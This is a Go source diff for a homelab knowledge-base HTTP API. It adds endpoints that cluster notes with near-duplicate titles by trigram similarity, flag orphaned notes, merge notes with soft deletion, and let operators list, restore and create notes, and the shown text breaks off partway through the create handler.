||||||
|
|
||||||
|
// serveKnowledgeDuplicates clusters notes whose titles are near-identical.
|
||||||
|
//
|
||||||
|
// Pairwise trigram similarity is computed in SQL (indexed, and the whole
|
||||||
|
// point of pulling in pg_trgm); the grouping is done here in Go. Returning
|
||||||
|
// clusters rather than pairs matters for the real data: the rclone pileup
|
||||||
|
// produces dozens of pairs, which is unreadable, versus one cluster, which
|
||||||
|
// is the actionable unit.
|
||||||
|
//
|
||||||
|
// The grouping uses **complete linkage** — a note joins a cluster only if it
|
||||||
|
// is similar to every member already in it. The obvious implementation
|
||||||
|
// (union-find over the pairs) is single linkage, and on this data it chains
|
||||||
|
// badly: "A~B, B~C" merged notes that were not remotely alike, collapsing
|
||||||
|
// fifteen distinct backup events into one unusable blob. Requiring mutual
|
||||||
|
// similarity keeps clusters tight enough to act on.
|
||||||
|
//
|
||||||
|
// Even so, these are *candidates for review*, never a verdict. The five
|
||||||
|
// "Lifecycle: <verb> a node" runbooks are mutually similar by title and are
|
||||||
|
// five deliberately distinct documents — no threshold distinguishes them
|
||||||
|
// from a genuine duplicate, so merging stays a manual, previewed action.
|
||||||
|
func (s *Server) serveKnowledgeDuplicates(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
// 0.6, tuned against the live data: at 0.45 the "Lifecycle: <verb> a
|
||||||
|
// node" runbooks (five deliberately distinct documents that happen to
|
||||||
|
// share a naming template) formed a false-positive cluster; 0.6 clears
|
||||||
|
// that down to a single borderline pair while keeping every genuine
|
||||||
|
// duplicate cluster (the rclone/apt-audit/uptime pileups) intact.
|
||||||
|
// Tunable per request — the UI exposes this as the review net widens.
|
||||||
|
threshold := 0.6
|
||||||
|
if t := req.URL.Query().Get("threshold"); t != "" {
|
||||||
|
if v, err := strconv.ParseFloat(t, 64); err == nil && v > 0 && v <= 1 {
|
||||||
|
threshold = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT a.slug, b.slug, similarity(ka.title, kb.title) AS sim
|
||||||
|
FROM knowledge_entities ka
|
||||||
|
JOIN knowledge_entities kb ON ka.entity_id < kb.entity_id
|
||||||
|
JOIN entities a ON a.id = ka.entity_id
|
||||||
|
JOIN entities b ON b.id = kb.entity_id
|
||||||
|
WHERE ka.deleted_at IS NULL AND kb.deleted_at IS NULL
|
||||||
|
AND similarity(ka.title, kb.title) > $1
|
||||||
|
ORDER BY sim DESC`, threshold)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type pair struct {
|
||||||
|
A, B string
|
||||||
|
Sim float64
|
||||||
|
}
|
||||||
|
pairs := []pair{}
|
||||||
|
for rows.Next() {
|
||||||
|
var p pair
|
||||||
|
if err := rows.Scan(&p.A, &p.B, &p.Sim); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/duplicates row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
pairs = append(pairs, p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Complete-linkage grouping. `pairs` arrives sorted by similarity
|
||||||
|
// descending, so each new cluster is seeded from the strongest remaining
|
||||||
|
// pair and then only grows with notes that are similar to *everything*
|
||||||
|
// already inside it.
|
||||||
|
sim := make(map[string]float64, len(pairs)*2)
|
||||||
|
key := func(a, b string) string {
|
||||||
|
if a > b {
|
||||||
|
a, b = b, a
|
||||||
|
}
|
||||||
|
return a + "\x00" + b
|
||||||
|
}
|
||||||
|
for _, p := range pairs {
|
||||||
|
sim[key(p.A, p.B)] = p.Sim
|
||||||
|
}
|
||||||
|
linked := func(a, b string) bool { return sim[key(a, b)] > 0 }
|
||||||
|
|
||||||
|
assigned := map[string]bool{}
|
||||||
|
type rawCluster struct {
|
||||||
|
members []string
|
||||||
|
top float64
|
||||||
|
}
|
||||||
|
raw := []rawCluster{}
|
||||||
|
|
||||||
|
for _, p := range pairs {
|
||||||
|
if assigned[p.A] || assigned[p.B] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
c := rawCluster{members: []string{p.A, p.B}, top: p.Sim}
|
||||||
|
assigned[p.A], assigned[p.B] = true, true
|
||||||
|
|
||||||
|
// Sweep the remaining pairs for candidates that connect to every
|
||||||
|
// current member. Repeat until a full pass adds nothing, since
|
||||||
|
// admitting one member can qualify another.
|
||||||
|
for grew := true; grew; {
|
||||||
|
grew = false
|
||||||
|
for _, q := range pairs {
|
||||||
|
for _, cand := range []string{q.A, q.B} {
|
||||||
|
if assigned[cand] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ok := true
|
||||||
|
for _, m := range c.members {
|
||||||
|
if !linked(cand, m) {
|
||||||
|
ok = false
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ok {
|
||||||
|
c.members = append(c.members, cand)
|
||||||
|
assigned[cand] = true
|
||||||
|
grew = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
raw = append(raw, c)
|
||||||
|
}
|
||||||
|
|
||||||
|
groups := map[string][]string{}
|
||||||
|
best := map[string]float64{}
|
||||||
|
for _, c := range raw {
|
||||||
|
root := c.members[0]
|
||||||
|
groups[root] = c.members
|
||||||
|
best[root] = c.top
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-fetch display detail for the clustered slugs only.
|
||||||
|
type member struct {
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Kind string `json:"kind"`
|
||||||
|
Size int `json:"size"`
|
||||||
|
UpdatedAt string `json:"updated_at"`
|
||||||
|
EditedBy string `json:"edited_by"`
|
||||||
|
}
|
||||||
|
detail := map[string]member{}
|
||||||
|
if len(groups) > 0 {
|
||||||
|
all := []string{}
|
||||||
|
for _, g := range groups {
|
||||||
|
all = append(all, g...)
|
||||||
|
}
|
||||||
|
drows, derr := s.pool.Query(ctx, `
|
||||||
|
SELECT e.slug, ke.title, e.type, length(ke.content),
|
||||||
|
ke.updated_at::text, COALESCE(ke.edited_by,'')
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE e.slug = ANY($1) AND ke.deleted_at IS NULL`, all)
|
||||||
|
if derr != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "detail query failed", derr.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer drows.Close()
|
||||||
|
for drows.Next() {
|
||||||
|
var m member
|
||||||
|
if err := drows.Scan(&m.Slug, &m.Title, &m.Kind, &m.Size, &m.UpdatedAt, &m.EditedBy); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/duplicates detail scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
detail[m.Slug] = m
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type cluster struct {
|
||||||
|
Members []member `json:"members"`
|
||||||
|
TopSim float64 `json:"top_similarity"`
|
||||||
|
TotalSize int `json:"total_size"`
|
||||||
|
}
|
||||||
|
out := []cluster{}
|
||||||
|
for root, slugs := range groups {
|
||||||
|
c := cluster{TopSim: best[root]}
|
||||||
|
for _, sl := range slugs {
|
||||||
|
if m, ok := detail[sl]; ok {
|
||||||
|
c.Members = append(c.Members, m)
|
||||||
|
c.TotalSize += m.Size
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(c.Members) < 2 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// Newest first inside a cluster — the most recent note is usually
|
||||||
|
// the one worth keeping as the merge target.
|
||||||
|
sort.Slice(c.Members, func(i, j int) bool {
|
||||||
|
return c.Members[i].UpdatedAt > c.Members[j].UpdatedAt
|
||||||
|
})
|
||||||
|
out = append(out, c)
|
||||||
|
}
|
||||||
|
// Biggest clusters first: an eight-note pileup deserves attention before
|
||||||
|
// a two-note coincidence.
|
||||||
|
sort.Slice(out, func(i, j int) bool {
|
||||||
|
if len(out[i].Members) != len(out[j].Members) {
|
||||||
|
return len(out[i].Members) > len(out[j].Members)
|
||||||
|
}
|
||||||
|
return out[i].TopSim > out[j].TopSim
|
||||||
|
})
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"clusters": out, "threshold": threshold})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeOrphans surfaces notes that have fallen out of every
|
||||||
|
// navigation path — the ones that are technically present but effectively
|
||||||
|
// unreachable, and so quietly stop being maintained.
|
||||||
|
//
|
||||||
|
// Three independent reasons, reported per note (a note can have several):
|
||||||
|
// - untagged: invisible to tag navigation
|
||||||
|
// - unlinked: not `about` any entity, so it never appears on a machine's page
|
||||||
|
// - stale: untouched for 90+ days
|
||||||
|
func (s *Server) serveKnowledgeOrphans(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
staleDays := 90
|
||||||
|
if d := req.URL.Query().Get("stale_days"); d != "" {
|
||||||
|
if v, err := strconv.Atoi(d); err == nil && v > 0 && v <= 3650 {
|
||||||
|
staleDays = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, fmt.Sprintf(`
|
||||||
|
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''),
|
||||||
|
ke.updated_at::text,
|
||||||
|
(ke.tags IS NULL OR cardinality(ke.tags) = 0) AS untagged,
|
||||||
|
NOT EXISTS (
|
||||||
|
SELECT 1 FROM relationships r
|
||||||
|
WHERE r.source_id = ke.entity_id AND r.valid_to IS NULL
|
||||||
|
AND r.type IN ('documents', 'about')
|
||||||
|
) AS unlinked,
|
||||||
|
(ke.updated_at < now() - interval '%d days') AS stale
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
|
ORDER BY ke.updated_at ASC`, staleDays))
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type orphan struct {
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Kind string `json:"kind"`
|
||||||
|
EditedBy string `json:"edited_by"`
|
||||||
|
UpdatedAt string `json:"updated_at"`
|
||||||
|
Reasons []string `json:"reasons"`
|
||||||
|
}
|
||||||
|
items := []orphan{}
|
||||||
|
counts := map[string]int{"untagged": 0, "unlinked": 0, "stale": 0}
|
||||||
|
for rows.Next() {
|
||||||
|
var o orphan
|
||||||
|
var untagged, unlinked, stale bool
|
||||||
|
if err := rows.Scan(&o.Slug, &o.Title, &o.Kind, &o.EditedBy, &o.UpdatedAt,
|
||||||
|
&untagged, &unlinked, &stale); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/orphans row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
o.Reasons = []string{}
|
||||||
|
if untagged {
|
||||||
|
o.Reasons = append(o.Reasons, "untagged")
|
||||||
|
counts["untagged"]++
|
||||||
|
}
|
||||||
|
if unlinked {
|
||||||
|
o.Reasons = append(o.Reasons, "unlinked")
|
||||||
|
counts["unlinked"]++
|
||||||
|
}
|
||||||
|
if stale {
|
||||||
|
o.Reasons = append(o.Reasons, "stale")
|
||||||
|
counts["stale"]++
|
||||||
|
}
|
||||||
|
if len(o.Reasons) > 0 {
|
||||||
|
items = append(items, o)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{
|
||||||
|
"items": items,
|
||||||
|
"counts": counts,
|
||||||
|
"stale_days": staleDays,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveMergeKnowledge folds several notes into one: each source's body is
|
||||||
|
// appended to the target under a provenance heading, the union of all tags is
|
||||||
|
// kept, and the sources are soft-deleted.
|
||||||
|
//
|
||||||
|
// Append rather than discard, and soft-delete rather than hard: a merge is a
|
||||||
|
// judgement call made from a similarity score, and the operator needs to be
|
||||||
|
// able to walk it back. The target's pre-merge state is captured by the
|
||||||
|
// revision trigger, so the merge itself is undoable from the History tab.
|
||||||
|
func (s *Server) serveMergeKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
var body struct {
|
||||||
|
Target string `json:"target"`
|
||||||
|
Sources []string `json:"sources"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(body.Target) == "" || len(body.Sources) == 0 {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "target and sources are required", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
targetID, err := s.resolveKnowledgeEntity(ctx, body.Target)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "target note not found", body.Target)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
var merged []string
|
||||||
|
var appended strings.Builder
|
||||||
|
tagSet := map[string]bool{}
|
||||||
|
|
||||||
|
for _, srcSlug := range body.Sources {
|
||||||
|
if srcSlug == body.Target {
|
||||||
|
continue // merging a note into itself would duplicate its body
|
||||||
|
}
|
||||||
|
var srcTitle, srcContent, srcUpdated string
|
||||||
|
var srcTags []string
|
||||||
|
err := tx.QueryRow(ctx, `
|
||||||
|
SELECT ke.title, ke.content, COALESCE(ke.tags,'{}'), ke.updated_at::text
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE (e.slug = $1 OR e.id::text = $1) AND ke.deleted_at IS NULL`,
|
||||||
|
srcSlug).Scan(&srcTitle, &srcContent, &srcTags, &srcUpdated)
|
||||||
|
if err != nil {
|
||||||
|
slog.Warn("knowledge merge: source not found, skipping", "slug", srcSlug)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
appended.WriteString("\n\n---\n\n## Merged: ")
|
||||||
|
appended.WriteString(srcTitle)
|
||||||
|
appended.WriteString("\n\n*Originally ")
|
||||||
|
appended.WriteString(srcSlug)
|
||||||
|
appended.WriteString(", last updated ")
|
||||||
|
appended.WriteString(srcUpdated)
|
||||||
|
appended.WriteString("*\n\n")
|
||||||
|
appended.WriteString(srcContent)
|
||||||
|
for _, t := range srcTags {
|
||||||
|
tagSet[strings.ToLower(strings.TrimSpace(t))] = true
|
||||||
|
}
|
||||||
|
merged = append(merged, srcSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(merged) == 0 {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "no valid source notes to merge", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
extraTags := make([]string, 0, len(tagSet))
|
||||||
|
for t := range tagSet {
|
||||||
|
if t != "" {
|
||||||
|
extraTags = append(extraTags, t)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sort.Strings(extraTags)
|
||||||
|
|
||||||
|
// The array concat + DISTINCT keeps the target's own tags first and adds
|
||||||
|
// only what the sources contribute.
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities
|
||||||
|
SET content = content || $2,
|
||||||
|
tags = ARRAY(SELECT DISTINCT unnest(COALESCE(tags,'{}') || $3::text[])),
|
||||||
|
edited_by = $4,
|
||||||
|
updated_at = now()
|
||||||
|
WHERE entity_id = $1`,
|
||||||
|
targetID, appended.String(), extraTags, actorLabel); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "merge write failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, srcSlug := range merged {
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities ke
|
||||||
|
SET deleted_at = now(), edited_by = $2
|
||||||
|
FROM entities e
|
||||||
|
WHERE e.id = ke.entity_id AND (e.slug = $1 OR e.id::text = $1)`,
|
||||||
|
srcSlug, actorLabel); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "source delete failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge merged", "target", body.Target, "sources", merged, "actor", actorLabel)
|
||||||
|
writeJSON(w, map[string]any{"ok": true, "merged": merged, "tags_added": extraTags})
|
||||||
|
}
|
||||||
|
|
||||||
|
// lowerAll is the case-folding helper the tag queries compare against.
|
||||||
|
func lowerAll(in []string) []string {
|
||||||
|
out := make([]string, len(in))
|
||||||
|
for i, s := range in {
|
||||||
|
out[i] = strings.ToLower(strings.TrimSpace(s))
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
659
internal/httpapi/knowledge_write.go
Normal file
659
internal/httpapi/knowledge_write.go
Normal file
@@ -0,0 +1,659 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"log/slog"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Operator-facing write path for the knowledge base. Until this file, the
|
||||||
|
// only way anything reached knowledge_entities was the MCP tool
|
||||||
|
// upsert_knowledge (internal/mcp/server.go) — an agent-only surface. The web
|
||||||
|
// UI could search and read but never create, correct, or remove a note, so
|
||||||
|
// the operator's own knowledge had nowhere to go and an agent mistake had no
|
||||||
|
// fix short of psql.
|
||||||
|
//
|
||||||
|
// All routes here are non-OpenAPI custom routes, consistent with the existing
|
||||||
|
// knowledge read routes (see the carve-out block in server.go): they trade in
|
||||||
|
// raw markdown and ad-hoc aggregates rather than generated schema types.
|
||||||
|
//
|
||||||
|
// Deletion is soft (deleted_at) — see migrations/022_knowledge_revisions.up.sql
|
||||||
|
// for why — so every read path in this file filters on `ke.deleted_at IS NULL`.
|
||||||
|
|
||||||
|
// knowledgeSlugSegmentRe strips a title down to a single slug segment.
|
||||||
|
// Mirrors knowledgeSlugRe in internal/mcp/server.go; duplicated rather than
|
||||||
|
// exported across the package boundary because the two callers namespace
|
||||||
|
// their output differently (see knowledgeSlugFor).
|
||||||
|
var knowledgeSlugSegmentRe = regexp.MustCompile(`[^a-z0-9]+`)
|
||||||
|
|
||||||
|
// knowledgeSlugFor builds `<kind>:<folder>/<title-slug>`. The MCP tool's
|
||||||
|
// equivalent hardcodes the `nomos/` folder; operator-created notes need to
|
||||||
|
// land somewhere else so the navigator tree can tell at a glance who wrote
|
||||||
|
// what, and so an operator note can never collide with an agent note that
|
||||||
|
// happens to share a title.
|
||||||
|
func knowledgeSlugFor(kind, folder, title string) string {
|
||||||
|
s := strings.ToLower(strings.TrimSpace(title))
|
||||||
|
s = knowledgeSlugSegmentRe.ReplaceAllString(s, "-")
|
||||||
|
s = strings.Trim(s, "-")
|
||||||
|
if s == "" {
|
||||||
|
s = "note"
|
||||||
|
}
|
||||||
|
if len(s) > 80 {
|
||||||
|
s = s[:80]
|
||||||
|
}
|
||||||
|
folder = strings.Trim(strings.ToLower(strings.TrimSpace(folder)), "/")
|
||||||
|
folder = knowledgeSlugSegmentRe.ReplaceAllString(folder, "-")
|
||||||
|
folder = strings.Trim(folder, "-")
|
||||||
|
if folder == "" {
|
||||||
|
folder = "operator"
|
||||||
|
}
|
||||||
|
return kind + ":" + folder + "/" + s
|
||||||
|
}
|
||||||
|
|
||||||
|
// validKnowledgeKind mirrors the three entity types that knowledge_entities
|
||||||
|
// rows are allowed to hang off (see upsert_knowledge's own check).
|
||||||
|
func validKnowledgeKind(kind string) bool {
|
||||||
|
switch kind {
|
||||||
|
case "document", "investigation", "runbook":
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveKnowledgeEntity maps an id-or-slug path segment to the entity id of
|
||||||
|
// a live (non-deleted) knowledge note. Returns pgx.ErrNoRows when there's no
|
||||||
|
// such note, which callers turn into a 404.
|
||||||
|
func (s *Server) resolveKnowledgeEntity(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||||
|
var id uuid.UUID
|
||||||
|
err := s.pool.QueryRow(ctx, `
|
||||||
|
SELECT ke.entity_id
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||||
|
AND ke.deleted_at IS NULL`, idOrSlug).Scan(&id)
|
||||||
|
return id, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveKnowledgeEntityAny is resolveKnowledgeEntity without the
|
||||||
|
// deleted_at filter — for the one read path (revisions) that must still work
|
||||||
|
// on a deleted note. The whole point of soft-delete is that a note's history
|
||||||
|
// stays inspectable after removal (e.g. to confirm what was lost before
|
||||||
|
// restoring it); requiring the note to be live first would defeat that.
|
||||||
|
func (s *Server) resolveKnowledgeEntityAny(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||||
|
var id uuid.UUID
|
||||||
|
err := s.pool.QueryRow(ctx, `
|
||||||
|
SELECT ke.entity_id
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).Scan(&id)
|
||||||
|
return id, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// pathParam pulls a chi URL param and percent-decodes it. Knowledge slugs
|
||||||
|
// contain both ':' and '/' (e.g. "document:containers/101-jellyfin"), so they
|
||||||
|
// reach the handler still encoded — chi.URLParam does no decoding of its own
|
||||||
|
// on manually-registered routes (unlike the OpenAPI-generated ones, which
|
||||||
|
// decode via runtime.BindStyledParameterWithOptions).
|
||||||
|
func pathParam(req *http.Request, name string) (string, error) {
|
||||||
|
return url.PathUnescape(chi.URLParam(req, name))
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeList returns every live note without its body — the backing
|
||||||
|
// data for the wiki navigator tree. Distinct from /knowledge/recent, which
|
||||||
|
// caps at 200 and exists to answer "what changed lately" for the stats view:
|
||||||
|
// the tree needs the complete set, and needs the linked-entity slugs so it
|
||||||
|
// can offer a group-by-entity arrangement without N+1 fetches.
|
||||||
|
//
|
||||||
|
// Body text is deliberately excluded — with ~100 notes averaging ~1 KB the
|
||||||
|
// full payload would be ~100 KB per app open, to render a list that shows
|
||||||
|
// only titles.
|
||||||
|
func (s *Server) serveKnowledgeList(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
type item struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Kind string `json:"kind"`
|
||||||
|
Source string `json:"source"`
|
||||||
|
EditedBy string `json:"edited_by"`
|
||||||
|
Tags []string `json:"tags"`
|
||||||
|
About []string `json:"about"`
|
||||||
|
Size int `json:"size"`
|
||||||
|
UpdatedAt string `json:"updated_at"`
|
||||||
|
CreatedAt string `json:"created_at"`
|
||||||
|
Revisions int `json:"revisions"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// The `about` aggregate mirrors GetEntityKnowledge's first UNION branch
|
||||||
|
// (documents/about edges) — the 'procedure-for' branch is left out here
|
||||||
|
// because it joins against entity *types* rather than entities and can't
|
||||||
|
// produce a per-note slug list.
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT e.id::text, e.slug, ke.title, e.type, COALESCE(ke.source,''),
|
||||||
|
COALESCE(ke.edited_by,''), COALESCE(ke.tags, '{}'),
|
||||||
|
COALESCE((
|
||||||
|
SELECT array_agg(DISTINCT t.slug)
|
||||||
|
FROM relationships r
|
||||||
|
JOIN entities t ON t.id = r.target_id
|
||||||
|
WHERE r.source_id = ke.entity_id
|
||||||
|
AND r.valid_to IS NULL
|
||||||
|
AND r.type IN ('documents', 'about')
|
||||||
|
), '{}'),
|
||||||
|
length(ke.content),
|
||||||
|
ke.updated_at::text, ke.created_at::text,
|
||||||
|
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
|
ORDER BY ke.updated_at DESC`)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []item{}
|
||||||
|
for rows.Next() {
|
||||||
|
var it item
|
||||||
|
if err := rows.Scan(&it.ID, &it.Slug, &it.Title, &it.Kind, &it.Source,
|
||||||
|
&it.EditedBy, &it.Tags, &it.About, &it.Size,
|
||||||
|
&it.UpdatedAt, &it.CreatedAt, &it.Revisions); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/list row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
items = append(items, it)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"items": items})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeTrash lists soft-deleted notes — the counterpart to
|
||||||
|
// serveKnowledgeList, and what the "restore" affordance in the UI browses.
|
||||||
|
// Without this, a deleted note is invisible from every list endpoint
|
||||||
|
// (correctly — they all filter deleted_at) with no way to even discover it
|
||||||
|
// exists to restore.
|
||||||
|
func (s *Server) serveKnowledgeTrash(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''), ke.deleted_at::text
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NOT NULL
|
||||||
|
ORDER BY ke.deleted_at DESC`)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type item struct {
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Kind string `json:"kind"`
|
||||||
|
DeletedBy string `json:"deleted_by"`
|
||||||
|
DeletedAt string `json:"deleted_at"`
|
||||||
|
}
|
||||||
|
items := []item{}
|
||||||
|
for rows.Next() {
|
||||||
|
var it item
|
||||||
|
if err := rows.Scan(&it.Slug, &it.Title, &it.Kind, &it.DeletedBy, &it.DeletedAt); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/trash row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
items = append(items, it)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"items": items})
|
||||||
|
}
|
||||||
|
|
||||||
|
// knowledgeWriteBody is the shared request shape for create and update.
|
||||||
|
// Every field is a pointer so update can distinguish "not supplied" (leave
|
||||||
|
// alone) from "supplied empty" (clear it) — a PUT that only changes tags
|
||||||
|
// must not blank the body.
|
||||||
|
type knowledgeWriteBody struct {
|
||||||
|
Title *string `json:"title"`
|
||||||
|
Content *string `json:"content"`
|
||||||
|
Kind *string `json:"kind"`
|
||||||
|
Tags *[]string `json:"tags"`
|
||||||
|
Folder *string `json:"folder"`
|
||||||
|
About *[]string `json:"about"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveCreateKnowledge creates a note plus its backing entity, and links it
|
||||||
|
// to whatever entities it's about.
|
||||||
|
func (s *Server) serveCreateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
var body knowledgeWriteBody
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
title := strings.TrimSpace(deref(body.Title))
|
||||||
|
content := strings.TrimSpace(deref(body.Content))
|
||||||
|
if title == "" || content == "" {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "title and content are required", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
kind := deref(body.Kind)
|
||||||
|
if kind == "" {
|
||||||
|
kind = "document"
|
||||||
|
}
|
||||||
|
if !validKnowledgeKind(kind) {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid kind",
|
||||||
|
"kind must be document, investigation, or runbook")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
